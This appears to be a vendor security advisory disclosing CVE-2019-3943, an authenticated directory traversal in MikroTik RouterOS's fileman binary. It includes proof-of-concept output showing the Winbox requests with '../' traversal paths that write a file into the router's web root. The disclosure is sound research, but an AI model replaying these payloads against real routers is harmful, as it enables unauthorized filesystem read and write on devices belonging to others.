Tenable discovered a vulnerability while analyzing MikroTik's RouterOS 6.42.12 (a long-term release). The vulnerability is an authenticated, remote directory traversal that gives an authenticated attacker mkdir, read, and write access to files outside of the sandbox path, /rw/disk. An attacker has read access to the entire filesystem and write access to all locations that aren't marked as read-only.
This vulnerability is very similar to CVE-2018-14847. The major difference is that this new vulnerability exists in the fileman binary (SYS_TO number: 72) and it requires authentication to invoke it. Otherwise, the traversal logic is the same and it can be reached over HTTP or Winbox (8291).
The following output is from a proof of concept that creates a webpage that simply says "hello!"
[email protected]:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
<html>
<head><title>Error 404: Not Found</title></head>
<body>
<h1>Error 404: Not Found</h1>
</body>
</html>
[email protected]:~/routeros/poc/cve_2019_3943/build$ ./cve_2019_3943_poc -i 192.168.1.15 -p 8291
req: {bff0005:1,uff0006:1,uff0007:6,s1:'//./.././.././../pckg/lol',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:1,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:2,uff0007:6,s1:'//./.././.././../pckg/lol/home',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:2,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:3,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:3,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:4,uff0007:6,s1:'//./.././.././../pckg/lol/home/web/webfig',Uff0001:[72,1]}
resp: {uff0003:2,uff0006:4,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,uff0006:5,uff0007:1,s1:'//./.././.././../pckg/lol/home/web/webfig/lol.txt',Uff0001:[72,1]}
resp: {ufe0001:1,uff0003:2,uff0006:5,Uff0001:[],Uff0002:[72,1]}
req: {bff0005:1,ufe0001:1,uff0006:6,uff0007:2,r5:[104,101,108,108,111,33,10],Uff0001:[72,1]}
resp: {uff0003:2,uff0006:6,Uff0001:[],Uff0002:[72,1]}
[email protected]:~/routeros/poc/cve_2019_3943/build$ curl http://192.168.1.15/webfig/lol.txt
hello!
[email protected]:~/routeros/poc/cve_2019_3943/build$
